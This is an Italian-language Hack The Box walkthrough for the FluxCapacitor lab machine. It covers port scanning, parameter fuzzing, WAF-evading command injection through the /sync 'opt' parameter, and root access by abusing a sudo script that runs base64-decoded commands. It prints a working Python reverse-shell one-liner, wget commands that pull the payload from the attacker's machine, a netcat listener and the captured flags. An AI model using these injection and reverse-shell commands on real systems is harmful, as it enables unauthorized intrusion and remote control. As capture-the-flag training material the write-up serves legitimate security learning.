Hack The Box Hack The Box

 

Let’s scan

Iniziamo come al solito con una enumerazione delle porte aperte. Io sta volta ho deciso di utilizzare masscan… Perchè non nmap direte voi? beh… perchè è molto più veloce.

 

masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.69

output:

 

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2018-05-14 13:43:40 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.69

 

Analizziamo meglio la porta 80 con nmap.

nmap -A -p 80 10.10.10.69

output:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-12 00:27 EEST
Nmap scan report for node1.fluxcapacitor.htb (10.10.10.69)
Host is up (0.100s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    SuperWAF
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Fri, 11 May 2018 21:28:20 GMT
|     Content-Type: text/html
|     Content-Length: 175
|     Connection: close
|     <html>
|     <head><title>404 Not Found</title></head>
|     <body bgcolor="white">
|     <center><h1>404 Not Found</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Fri, 11 May 2018 21:28:19 GMT
|     Content-Type: text/html
|     Content-Length: 395
|     Last-Modified: Tue, 05 Dec 2017 16:02:29 GMT
|     Connection: close
|     ETag: "5a26c315-18b"
|     Server: SuperWAF
|     Accept-Ranges: bytes
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Keep Alive</title>
|     </head>
|     <body>
|     node1 alive
|     <!--
|     Please, add timestamp with something like:
|     <script> $.ajax({ type: "GET", url: '/sync' }); </script>
|     <hr/>
|     FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
|     <em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 405 Not Allowed
|     Date: Fri, 11 May 2018 21:28:19 GMT
|     Content-Type: text/html
|     Content-Length: 179
|     Connection: close
|     <html>
|     <head><title>405 Not Allowed</title></head>
|     <body bgcolor="white">
|     <center><h1>405 Not Allowed</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   RTSPRequest: 
|     <html>
|     <head><title>400 Bad Request</title></head>
|     <body bgcolor="white">
|     <center><h1>400 Bad Request</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|     </html>
|   X11Probe: 
|     HTTP/1.1 400 Bad Request
|     Date: Fri, 11 May 2018 21:28:20 GMT
|     Content-Type: text/html
|     Content-Length: 179
|     Connection: close
|     <html>
|     <head><title>400 Bad Request</title></head>
|     <body bgcolor="white">
|     <center><h1>400 Bad Request</h1></center>
|     <hr><center>openresty/1.13.6.1</center>
|     </body>
|_    </html>
|_http-server-header: SuperWAF
|_http-title: Keep Alive
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.70%I=7%D=5/12%Time=5AF60AE7%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,270,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Fri,\x2011\x20May\x20201
SF:8\x2021:28:19\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Length:\x
SF:20395\r\nLast-Modified:\x20Tue,\x2005\x20Dec\x202017\x2016:02:29\x20GMT
SF:\r\nConnection:\x20close\r\nETag:\x20\"5a26c315-18b\"\r\nServer:\x20Sup
SF:erWAF\r\nAccept-Ranges:\x20bytes\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<he
SF:ad>\n<title>Keep\x20Alive</title>\n</head>\n<body>\n\tOK:\x20node1\x20a
SF:live\n\t<!--\n\t\tPlease,\x20add\x20timestamp\x20with\x20something\x20l
SF:ike:\n\t\t<script>\x20\$\.ajax\({\x20type:\x20\"GET\",\x20url:\x20'/syn
SF:c'\x20}\);\x20</script>\n\t-->\n\t<hr/>\n\tFluxCapacitor\x20Inc\.\x20in
SF:fo@fluxcapacitor\.htb\x20-\x20http://fluxcapacitor\.htb<br>\n\t<em><met
SF:><doc><brown>Roads\?\x20Where\x20we're\x20going,\x20we\x20don't\x20need
SF:\x20roads\.</brown></doc></met></em>\n</body>\n</html>\n")%r(HTTPOption
SF:s,135,"HTTP/1\.1\x20405\x20Not\x20Allowed\r\nDate:\x20Fri,\x2011\x20May
SF:\x202018\x2021:28:19\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Le
SF:ngth:\x20179\r\nConnection:\x20close\r\n\r\n<html>\r\n<head><title>405\
SF:x20Not\x20Allowed</title></head>\r\n<body\x20bgcolor=\"white\">\r\n<cen
SF:ter><h1>405\x20Not\x20Allowed</h1></center>\r\n<hr><center>openresty/1\
SF:.13\.6\.1</center>\r\n</body>\r\n</html>\r\n")%r(RTSPRequest,B3,"<html>
SF:\r\n<head><title>400\x20Bad\x20Request</title></head>\r\n<body\x20bgcol
SF:or=\"white\">\r\n<center><h1>400\x20Bad\x20Request</h1></center>\r\n<hr
SF:><center>openresty/1\.13\.6\.1</center>\r\n</body>\r\n</html>\r\n")%r(X
SF:11Probe,135,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Fri,\x2011\
SF:x20May\x202018\x2021:28:20\x20GMT\r\nContent-Type:\x20text/html\r\nCont
SF:ent-Length:\x20179\r\nConnection:\x20close\r\n\r\n<html>\r\n<head><titl
SF:e>400\x20Bad\x20Request</title></head>\r\n<body\x20bgcolor=\"white\">\r
SF:\n<center><h1>400\x20Bad\x20Request</h1></center>\r\n<hr><center>openre
SF:sty/1\.13\.6\.1</center>\r\n</body>\r\n</html>\r\n")%r(FourOhFourReques
SF:t,12F,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Fri,\x2011\x20May\x
SF:202018\x2021:28:20\x20GMT\r\nContent-Type:\x20text/html\r\nContent-Leng
SF:th:\x20175\r\nConnection:\x20close\r\n\r\n<html>\r\n<head><title>404\x2
SF:0Not\x20Found</title></head>\r\n<body\x20bgcolor=\"white\">\r\n<center>
SF:<h1>404\x20Not\x20Found</h1></center>\r\n<hr><center>openresty/1\.13\.6
SF:\.1</center>\r\n</body>\r\n</html>\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Linux 3.12 (92%), Linux 3.13 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   102.73 ms 10.10.14.1
2   102.77 ms node1.fluxcapacitor.htb (10.10.10.69)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.90 seconds

 

Web Enumeration

Ora possiamo andare a vedere cosa ci offre la porta 80 e per farlo utilizzeremo il nostro browser.

 

al interno del codice html troviamo il seguente commento:

 

 <!--
 Please, add timestamp with something like:
 <script> $.ajax({ type: "GET", url: '/sync' }); </script>
 -->

Da cui possiamo capire che esiste una pagina /sync… 

Visitando la pagina /sync  da browser vediamo che ci restituisce un errore 403. Provando a rifare la stessa richiesta ma sta volta con curl ci verrà restituito come status 200… Analizzando meglio le request si nota che applicazione blocca alcuni User-Agent quindi basterà modificare il nostro User-Agent.

 

Ora proviamo a lanciare wfuzz per scoprire eventuali parametri nascosti.

 

wfuzz -c --hh 19 -H "User-Agent: freemaker" -z file,/SecLists/Discovery/Web-Content/burp-parameter-names.txt "http://10.10.10.69/sync?FUZZ='"

https://github.com/danielmiessler/SecLists (per scaricare la wordlist).

Da notare che come parametro gli ho messo –hh 19 questo per filtrare l’output poichè il server web ci restituirà sempre status 200.

output:

********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************

Target: http://10.10.10.69/sync?FUZZ='
Total requests: 2588

==================================================================
ID Response Lines Word Chars Request 
==================================================================

00703: C=200 1 L 0 W 1 Ch "opt"

 

Exploitation

exploitation

exploitation

 

Ora analizzando meglio con wfuzz scopriamo che il carattere ” ‘ ” riesce in qualche modo a rompere la sintassi. Proviamo a fare remote command execution. 

 

curl -v -H "User-Agent: freemaker" "http://10.10.10.69/sync?opt=' id' "

output:

* Trying 10.10.10.69...
* TCP_NODELAY set
* Connected to 10.10.10.69 (10.10.10.69) port 80 (#0)
> GET /sync?opt=' id' HTTP/1.1
> Host: 10.10.10.69
> Accept: */*
> User-Agent: freemaker
> 
< HTTP/1.1 200 OK
< Date: Mon, 14 May 2018 14:25:39 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Connection: keep-alive
< Server: SuperWAF
< 
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
bash: -c: option requires an argument

* Connection #0 to host 10.10.10.69 left intact

Se però si prova a far eseguire altri comandi come per esempio ls verremo bloccati questo perché il WAF ci intercetta e ci blocca.

 

WAF Evasion

Vi condivido qui una guida di TheMiddle (creatore della macchina FluxCapacitor )

https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

In ogni modo si può anche utilizzare il backslash ( \ )per fare escape dei caratteri.

Get a Reverse Shell

Inanzitutto verifichiamo se e quale versione di python è installata:

curl -v -H "User-Agent: freemaker" "http://10.10.10.69/sync?opt=' w'h'e'r'eis python' "



* Trying 10.10.10.69...
* TCP_NODELAY set
* Connected to 10.10.10.69 (10.10.10.69) port 80 (#0)
> GET /sync?opt=' w'h'e'r'eis python' HTTP/1.1
> Host: 10.10.10.69
> Accept: */*
> User-Agent: freemaker
> 
< HTTP/1.1 200 OK
< Date: Mon, 14 May 2018 14:33:45 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Connection: keep-alive
< Server: SuperWAF
< 
python: /usr/bin/python3.6m /usr/bin/python3.6 /usr/lib/python3.7 /usr/lib/python3.6 /usr/lib/python2.7 /etc/python3.6 /usr/local/lib/python3.6
bash: -c: option requires an argument

* Connection #0 to host 10.10.10.69 left intact

 

Ora creiamo un file shell.py contente la nostra Revershell:

python3 -c "import os; import pty; import socket; lhost = '10.10.14.4'; lport = 4545; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv('HISTFILE', '/dev/null'); pty.spawn('/bin/bash'); s.close();"

Ora utilizziamo

python -m SimpleHTTPServer 6767

 

Ora facciamo scaricare la nostra rev. shell dal server con wget

 

curl -v -H "User-Agent: freemaker" "http://10.10.10.69/sync?opt=' w'g'et http://10.10.14.4:6767/s'h'e'l'l.py -P tmp' "

 

settiamo i permessi di esecuzione alla nostra shell:

 

curl -v -H "User-Agent: freemaker" "http://10.10.10.69/sync?opt=' c'hmo'd +x /tmp/s'hell'.py' "

 

ora in un altro terminale mettiamoci in ascolto con netcat:

 

nc -lvvp 4545

 

ora eseguimo la nostra rev shell:

 

curl -v -H "User-Agent: freemaker" "http://10.10.10.69/sync?opt=' tmp/s'hell'.py' "

 

ok we got a shell. 

 

cat /home/FluxCapacitorInc/user.txt

b8b6d46c893d0cd00c0f0380036117bc

 

Pivilege Escalation

enumeriamo un po’ gli utenti con:

 

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
_apt:x:106:65534::/nonexistent:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
themiddle:x:1000:1000:themiddle,,,:/home/themiddle:/bin/bash
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin

 

ok ora diamo sudo -l

User nobody may run the following commands on fluxcapacitor:
 (ALL) ALL
 (root) NOPASSWD: /home/themiddle/.monit

 

Notiamo che possiamo eseguire senza che ci venga richiesta la password la script .monit, andiamo a leggerci il file .monit:

 

#!/bin/bash

if [ "$1" == "cmd" ]; then
	echo "Trying to execute ${2}"
	CMD=$(echo -n ${2} | base64 -d)
	bash -c "$CMD"
fi
.monit

 

In un altro terminale ri lanciamo netcat con lo stesso comando di prima (nc -lvvp 4545).

Poi codifichiamo ci la seguente stringa in base 64 “/tmp/shell.py” con il comando:

 

echo /tmp/shell.py | base64

L3RtcC9zaGVsbC5weQo= 

 

dopo di che avviamo .monit con il sudo e passiamogli i seguenti arguments:

 

sudo /home/themiddle/.monit cmd L3RtcC9zaGVsbC5weQo=

 

WE GOT A ROOT! 

 

we got root

 

cat /root/root.txt

bdc89b40eda244649072189a8438b30e

 

root

 

 


0 commenti

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *